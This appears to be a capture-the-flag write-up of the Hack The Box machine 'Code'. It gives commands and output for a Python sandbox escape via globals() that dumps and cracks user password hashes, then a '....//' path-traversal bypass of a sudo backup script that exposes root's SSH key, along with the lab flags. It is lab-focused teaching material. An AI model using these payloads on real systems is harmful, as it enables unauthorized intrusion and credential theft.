> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# Code (Easy) - HTB

> Linux | Released on 22nd March, 2025 | Created by FisMatHack

<img src="https://mintcdn.com/hackwithmike/GG-PKRwj0AfBsHG2/assets/images/htb/code/pwned.png?fit=max&auto=format&n=GG-PKRwj0AfBsHG2&q=85&s=17c7b52a9eb32a7d22e15398eab0dcfc" noZoom width="1004" height="963" data-path="assets/images/htb/code/pwned.png" />

Link to the box: [https://app.hackthebox.com/machines/code](https://app.hackthebox.com/machines/code).

### Port Scan

We start off the box by running a port scan on the provided IP.

```sh title="Attacker Linux" icon="linux" wrap theme={null}
rustscan --ulimit 5000 -a 10.10.11.62 -r 1-65535 -- -A -vvv -oN Code
```

Output of Nmap:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)

5000/tcp open  http    syn-ack ttl 63 Gunicorn 20.0.4
| http-methods:
|_  Supported Methods: HEAD OPTIONS GET
|_http-title: Python Code Editor
|_http-server-header: gunicorn/20.0.4
```

A few key notes:

* Port 22 (SSH) is open. Running `OpenSSH 8.2p1` — nothing useful without credentials.
* Port 5000 (HTTP) is open, served by `Gunicorn 20.0.4`. Gunicorn is a Python WSGI server, which tells us we're dealing with a Python web application. The page title is **"Python Code Editor"** — immediately interesting, as it suggests users can run code server-side.
* OS is Linux (Ubuntu), inferred from the TTL of 63.

### Edit the Hosts file

As always, we edit the `/etc/hosts` file to add the hostname:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
sudo nano /etc/hosts
```

/etc/hosts

```text title="/etc/hosts" icon="file-lines" wrap theme={null}
10.10.11.62 code.htb
```

## Initial Foothold

### Enumerating Port 5000: Web Server

#### Directory Busting

##### Feroxbuster:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
feroxbuster -u http://10.10.11.62:5000 -C 404
```

* Results were minimal — only `/login` and `/register` endpoints were found. Nothing hidden or interesting.

##### Dirsearch:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
dirsearch -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x 404 -u http://10.10.11.62:5000
```

* Nothing additional discovered. The attack surface is limited to the web application itself.

##### GoBuster (vhost):

```sh title="Attacker Linux" icon="linux" wrap theme={null}
gobuster vhost -u http://10.10.11.62:5000 -t 500 -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt --append-domain --domain code.htb | grep "Status: 200"
```

* No virtual hosts found. Let's dig into the application itself.

#### Manual Enumeration

Visiting `http://code.htb:5000` presents an interactive Python code editor — users can write and run Python code that executes server-side. We register an account to get access:

```text title="Credentials" icon="file-lines" wrap theme={null}
test1:test1
```

After logging in and exploring the editor, we start testing for obvious attack vectors. The sandbox filters out dangerous keywords. Submitting basic payloads confirms the blocklist includes at minimum:

```text title="Terminal Output" icon="file-lines" wrap theme={null}
import
os
open
```

* Direct system access via `import os; os.system(...)` is blocked.
* We can't open files with `open()`.
* Template injection payloads return nothing either.
* The usual Python sandbox escape paths are closed off. We need to think more creatively.

### Exploiting the Python Sandbox via globals()

After some research, we find that Python's built-in `globals()` function is not blocked — and it requires no imports. It returns a dictionary of all names in the current global scope, which in a live Flask/SQLAlchemy application includes the fully initialized database objects.

```python title="Web Sandbox" icon="code" wrap theme={null}
print(globals())
```

* [Python – globals() function | GeeksforGeeks](https://www.geeksforgeeks.org/python-globals-function/)

Two entries immediately stand out in the output:

```text title="Web Sandbox Output" icon="file-lines" wrap theme={null}
'db': <SQLAlchemy sqlite:////home/app-production/app/instance/database.db>
'User': <class 'app.User'>
```

* `db` is a live SQLAlchemy engine instance. The connection string reveals the database is SQLite, stored at `/home/app-production/app/instance/database.db`.
* `User` is an ORM-mapped model class — meaning we can call SQLAlchemy query methods on it directly, without writing a single SQL string.
* This also leaks the app's file path: `/home/app-production/app/`, useful for enumeration later.

Let's confirm what attributes the `User` model exposes using Python's `dir()`:

```python title="Web Sandbox" icon="code" wrap theme={null}
print(dir(User))
```

```text title="Web Sandbox Output" icon="file-lines" wrap theme={null}
['__abstract__', '__annotations__', '__class__', '__delattr__', '__dict__', '__dir__', '__doc__', '__eq__', '__format__', '__fsa__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__init_subclass__', '__le__', '__lt__', '__mapper__', '__module__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', '__table__', '__tablename__', '__weakref__', '_sa_class_manager', '_sa_registry', 'codes', 'id', 'metadata', 'password', 'query', 'username']
```

* The attributes `id`, `username`, and `password` confirm this is the user table — exactly what we're after.
* The `query` attribute is SQLAlchemy's query interface, which lets us fetch rows without raw SQL.

We can confirm what the underlying SQL query looks like before executing it:

```python title="Web Sandbox" icon="code" wrap theme={null}
print(User.query)
```

```text title="Web Sandbox Output" icon="file-lines" wrap theme={null}
SELECT user.id AS user_id, user.username AS user_username, user.password AS user_password FROM user
```

* This confirms the table name is `user` and it has the three columns we identified: `id`, `username`, `password`.
* `password` is a separate column from `username`, so this isn't a single-field hash — the passwords are stored as distinct values. We can retrieve them cleanly.

Now let's dump the full user table:

```python title="Web Sandbox" icon="code" wrap theme={null}
users = User.query.all()
for user in users:
    print(user.id, user.username, user.password)
```

```text title="Web Sandbox Output" icon="file-lines" wrap theme={null}
1 development 759b74ce43947f5f4c91aeddc3e5bad3
2 martin 3de6f30c4a09c27fc71932bfc68474be
```

* Two users: `development` and `martin`.
* Both hashes are 32 hexadecimal characters — the classic signature of **MD5** (hashcat mode 0). MD5 is unsalted here, which means common passwords are trivially reversible with a lookup table.

### Cracking the Hashes

We submit both hashes to [CrackStation](https://crackstation.net/):

```text title="Terminal Output" icon="file-lines" wrap theme={null}
759b74ce43947f5f4c91aeddc3e5bad3  →  development
3de6f30c4a09c27fc71932bfc68474be  →  nafeelswordsmaster
```

```text title="Credentials" icon="file-lines" wrap theme={null}
development:development
martin:nafeelswordsmaster
```

* Both cracked instantly from the public lookup table — unsalted MD5 with weak passwords.
* `martin` is a named system user, they're the more interesting target.
* Note: The intended path likely goes through `app-production` to get `user.txt` first. We'll skip ahead to `martin` who has a `sudo` privilege, and come back to the user flag once we're root.

## Privilege Escalation

### Logging in as martin

```sh title="Attacker Linux" icon="linux" wrap theme={null}
ssh martin@10.10.11.62
```

Password: `nafeelswordsmaster`

### Post-ex Enumeration

#### sudo -l

```text title="Victim Linux (code.htb)" icon="linux" wrap theme={null}
martin@code:~$ sudo -l
Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh
```

* Martin can run `/usr/bin/backy.sh` as `(ALL : ALL)` — meaning as any user including root — with no password required.
* The script path is absolute and hardcoded, so we can't swap it out. But we can control what we pass *to* it.
* Let's read the script to understand what it does.

#### Inspecting backy.sh

```sh title="Victim Linux (code.htb)" icon="linux" wrap theme={null}
martin@code:~$ cat /usr/bin/backy.sh
#!/bin/bash

if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done
/usr/bin/backy "$json_file"
```

A few things to note about the script:

* It takes a single argument: a path to a `task.json` file. That file controls which directories get backed up. Since `martin` owns `~/backups/task.json`, we control the input entirely.
* The underlying `backy` binary runs as root (inherited from the `sudo` context), so it can read any file on the system.
* Two security controls are in place to prevent obvious path traversal:
  1. **Path traversal strip**: `jq gsub("\\.\\./"; "")` strips all occurrences of the exact string `../` from every path in `directories_to_archive`.
  2. **Allowlist prefix check**: Each resulting path must start with either `/var/` or `/home/`. Anything else causes the script to exit.

The existing `~/backups/task.json` for reference:

```json title="~/backups/task.json" icon="file-lines" wrap theme={null}
{
    "destination": "/home/martin/backups/",
    "multiprocessing": true,
    "verbose_log": false,
    "directories_to_archive": [
        "/home/app-production/app"
    ],
    "exclude": [
        ".*"
    ]
}
```

* The destination is martin's own backups folder — we can retrieve the archive via `scp` after the job runs.
* The `exclude` pattern `.*` hides dotfiles by default. We'll want to remove this when targeting `/root` so we don't miss `.ssh/`.

### Exploiting the Path Traversal Filter

The `gsub("\\.\\./"; "")` only strips the *exact* three-character sequence `../`. It is not recursive and does not handle double-encoding. This means we can craft a string that contains `../` *embedded inside extra dots and slashes* — such that after the strip, a valid `../` remains.

The trick: use `....//` instead of `../`.

Here's the breakdown of why it survives the filter:

```text title="Path Traversal Analysis" icon="file-lines" wrap theme={null}
Input:  ....//

Characters by index:
  0: .
  1: .
  2: .
  3: .
  4: /
  5: /

gsub scans for the pattern "../" (dot dot slash):
  → Match found at index 2: chars[2,3,4] = ., ., /  ✓

After removing that match:
  Remaining: chars[0,1] + chars[5] = . . /  →  ../
```

So `....//` → after one pass of `gsub("../"; "")` → produces `../`.

Applied to the full path:

```text title="Path Traversal Analysis" icon="file-lines" wrap theme={null}
/home/....//root
  → gsub strips "../" (chars 8–10 inside "..../")
  → /home/../root
  → resolves to /root at the filesystem level
```

* The allowlist check runs on the *pre-resolution* string `/home/../root`, which starts with `/home/` — passes.
* The `backy` binary then resolves the path and backs up `/root` as root.

We modify `task.json` to target `/root`, and remove the `exclude` dotfiles filter so we capture `.ssh/`:

```json title="task.json" icon="file-lines" wrap theme={null}
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/....//root"
  ],
  "exclude": []
}
```

```sh title="Victim Linux (code.htb)" icon="linux" wrap theme={null}
sudo /usr/bin/backy.sh task.json
```

* The script strips `../` from `....//`, leaving `../`, which resolves to `/root`.
* `backy` runs as root and archives the entire `/root` directory into `~/backups/`.

### Extracting the Backup

We pull the archive down to our attacker machine:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
scp martin@10.10.11.62:/home/martin/backups/code_home_.._root_2025_May.tar.bz2 ./
```

* The filename `code_home_.._root_2025_May.tar.bz2` reflects the resolved path (`home/../root`) — confirming the traversal worked.

```sh title="Attacker Linux" icon="linux" wrap theme={null}
tar -xvf code_home_.._root_2025_May.tar.bz2
```

* Extracting the archive reveals the full contents of `/root/`, including `/root/.ssh/id_rsa` — root's private SSH key.

We use it to log in directly as root:

```sh title="Attacker Linux" icon="linux" wrap theme={null}
ssh root@10.10.11.62 -i id_rsa
```

```text title="Victim Linux (code.htb)" icon="linux" wrap theme={null}
root@code:~# cat root.txt
406fa222e5cfd0474c8023d7e03d4a4b
```

While we're here, let's grab the user flag from `app-production`'s home directory — this is the one we skipped earlier:

```text title="Victim Linux (code.htb)" icon="linux" wrap theme={null}
root@code:/home/app-production# cat user.txt
d845f305eb47ff8b6fae06ed3702450e
```

## Learning

#### 1. Python Sandbox Escape via globals()

Even when dangerous keywords like `import`, `os`, and `open` are filtered, Python's built-in `globals()` function remains accessible — no imports required. It exposes the full runtime state of the application. If the app uses SQLAlchemy, the ORM model classes in globals can be queried directly to dump the database: `users = User.query.all()`.

#### 2. Path Traversal Filter Bypass with Doubled Dots

A filter that strips only the exact pattern `../` (e.g., `gsub("../"; "")`) can be bypassed using `....//`. When `../` is removed from `....//`, one traversal sequence remains (`../`). Combined with an allowlist prefix check, the payload `/home/....//root` passes both controls but resolves to `/root` at runtime.

## Tags

### Initial Access

\#Web\_Exploit #Python #Sandbox #Credentials\_Hunting

### Privilege Escalation

\#Path\_Traversal #Backup\_Files #sudo
